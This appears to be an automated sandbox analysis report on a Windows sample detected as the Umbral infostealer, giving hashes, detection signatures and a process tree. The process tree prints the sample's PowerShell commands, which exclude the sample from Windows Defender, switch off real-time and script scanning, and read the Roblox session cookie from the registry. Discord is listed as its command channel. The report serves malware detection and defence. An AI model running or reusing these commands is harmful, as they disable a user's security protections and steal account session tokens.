Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
08-06-2024 07:55
Behavioral task
behavioral1
Sample
5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe
Resource
win7-20240508-en
General
-
Target
5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe
-
Size
229KB
-
MD5
1adeea63d576dea9add98e01e9fe78b4
-
SHA1
8f754fd661d9ce2e9e9a7278b4dd7096b13fc585
-
SHA256
5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84
-
SHA512
0ba3c5555273a15c5406f0bd1b5f1a3888814bdbb4130f80eae1f973497c4e5d81a92ed0797a55316b358a42a955fe44f476d1e0e90c15211dc30f4dd20c58cb
-
SSDEEP
6144:lloZMCrIkd8g+EtXHkv/iD4sodaBPUonIWvRsY99ib8e1miLZi:noZZL+EP8sodaBPUonIWvRsY9wfLA
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/1252-1-0x00000000001B0000-0x00000000001F0000-memory.dmp family_umbral -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3052 powershell.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 discord.com 9 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 6 ip-api.com -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1196 wmic.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3052 powershell.exe 3032 powershell.exe 2688 powershell.exe 2952 powershell.exe 2432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeDebugPrivilege 3032 powershell.exe Token: SeDebugPrivilege 2688 powershell.exe Token: SeDebugPrivilege 2952 powershell.exe Token: SeIncreaseQuotaPrivilege 1796 wmic.exe Token: SeSecurityPrivilege 1796 wmic.exe Token: SeTakeOwnershipPrivilege 1796 wmic.exe Token: SeLoadDriverPrivilege 1796 wmic.exe Token: SeSystemProfilePrivilege 1796 wmic.exe Token: SeSystemtimePrivilege 1796 wmic.exe Token: SeProfSingleProcessPrivilege 1796 wmic.exe Token: SeIncBasePriorityPrivilege 1796 wmic.exe Token: SeCreatePagefilePrivilege 1796 wmic.exe Token: SeBackupPrivilege 1796 wmic.exe Token: SeRestorePrivilege 1796 wmic.exe Token: SeShutdownPrivilege 1796 wmic.exe Token: SeDebugPrivilege 1796 wmic.exe Token: SeSystemEnvironmentPrivilege 1796 wmic.exe Token: SeRemoteShutdownPrivilege 1796 wmic.exe Token: SeUndockPrivilege 1796 wmic.exe Token: SeManageVolumePrivilege 1796 wmic.exe Token: 33 1796 wmic.exe Token: 34 1796 wmic.exe Token: 35 1796 wmic.exe Token: SeIncreaseQuotaPrivilege 1796 wmic.exe Token: SeSecurityPrivilege 1796 wmic.exe Token: SeTakeOwnershipPrivilege 1796 wmic.exe Token: SeLoadDriverPrivilege 1796 wmic.exe Token: SeSystemProfilePrivilege 1796 wmic.exe Token: SeSystemtimePrivilege 1796 wmic.exe Token: SeProfSingleProcessPrivilege 1796 wmic.exe Token: SeIncBasePriorityPrivilege 1796 wmic.exe Token: SeCreatePagefilePrivilege 1796 wmic.exe Token: SeBackupPrivilege 1796 wmic.exe Token: SeRestorePrivilege 1796 wmic.exe Token: SeShutdownPrivilege 1796 wmic.exe Token: SeDebugPrivilege 1796 wmic.exe Token: SeSystemEnvironmentPrivilege 1796 wmic.exe Token: SeRemoteShutdownPrivilege 1796 wmic.exe Token: SeUndockPrivilege 1796 wmic.exe Token: SeManageVolumePrivilege 1796 wmic.exe Token: 33 1796 wmic.exe Token: 34 1796 wmic.exe Token: 35 1796 wmic.exe Token: SeIncreaseQuotaPrivilege 1228 wmic.exe Token: SeSecurityPrivilege 1228 wmic.exe Token: SeTakeOwnershipPrivilege 1228 wmic.exe Token: SeLoadDriverPrivilege 1228 wmic.exe Token: SeSystemProfilePrivilege 1228 wmic.exe Token: SeSystemtimePrivilege 1228 wmic.exe Token: SeProfSingleProcessPrivilege 1228 wmic.exe Token: SeIncBasePriorityPrivilege 1228 wmic.exe Token: SeCreatePagefilePrivilege 1228 wmic.exe Token: SeBackupPrivilege 1228 wmic.exe Token: SeRestorePrivilege 1228 wmic.exe Token: SeShutdownPrivilege 1228 wmic.exe Token: SeDebugPrivilege 1228 wmic.exe Token: SeSystemEnvironmentPrivilege 1228 wmic.exe Token: SeRemoteShutdownPrivilege 1228 wmic.exe Token: SeUndockPrivilege 1228 wmic.exe Token: SeManageVolumePrivilege 1228 wmic.exe Token: 33 1228 wmic.exe Token: 34 1228 wmic.exe -
Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 1252 wrote to memory of 3052 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 28 PID 1252 wrote to memory of 3052 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 28 PID 1252 wrote to memory of 3052 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 28 PID 1252 wrote to memory of 3032 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 30 PID 1252 wrote to memory of 3032 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 30 PID 1252 wrote to memory of 3032 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 30 PID 1252 wrote to memory of 2688 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 32 PID 1252 wrote to memory of 2688 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 32 PID 1252 wrote to memory of 2688 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 32 PID 1252 wrote to memory of 2952 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 34 PID 1252 wrote to memory of 2952 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 34 PID 1252 wrote to memory of 2952 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 34 PID 1252 wrote to memory of 1796 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 36 PID 1252 wrote to memory of 1796 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 36 PID 1252 wrote to memory of 1796 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 36 PID 1252 wrote to memory of 1228 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 39 PID 1252 wrote to memory of 1228 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 39 PID 1252 wrote to memory of 1228 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 39 PID 1252 wrote to memory of 1992 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 41 PID 1252 wrote to memory of 1992 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 41 PID 1252 wrote to memory of 1992 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 41 PID 1252 wrote to memory of 2432 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 43 PID 1252 wrote to memory of 2432 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 43 PID 1252 wrote to memory of 2432 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 43 PID 1252 wrote to memory of 1196 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 45 PID 1252 wrote to memory of 1196 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 45 PID 1252 wrote to memory of 1196 1252 5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe 45
Processes
-
C:\Users\Admin\AppData\Local\Temp\5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe"C:\Users\Admin\AppData\Local\Temp\5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5a2904a05d5d2f5d3d3ef44bdf54e74341ae9b54ba5f6545b37acf187eec4f84.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3052
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3032
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1228
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1992
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2432
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:1196
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5d42011b859670647e9843a472fd4835e
SHA1a5137e9905a18a8f7f17509fdf24766f98b8d5ae
SHA256584a486576cc23ca73764f433a60d3779465d1131dee3593046f234e6f17ddbf
SHA5129f535adfac3570e396721c8da759de30b2e689e36a5c33c2f0341bf7013c7cc3be061f72bbdc5ac5850c65ffec22dc942d91e27c1fa770e61f9590f4877d7426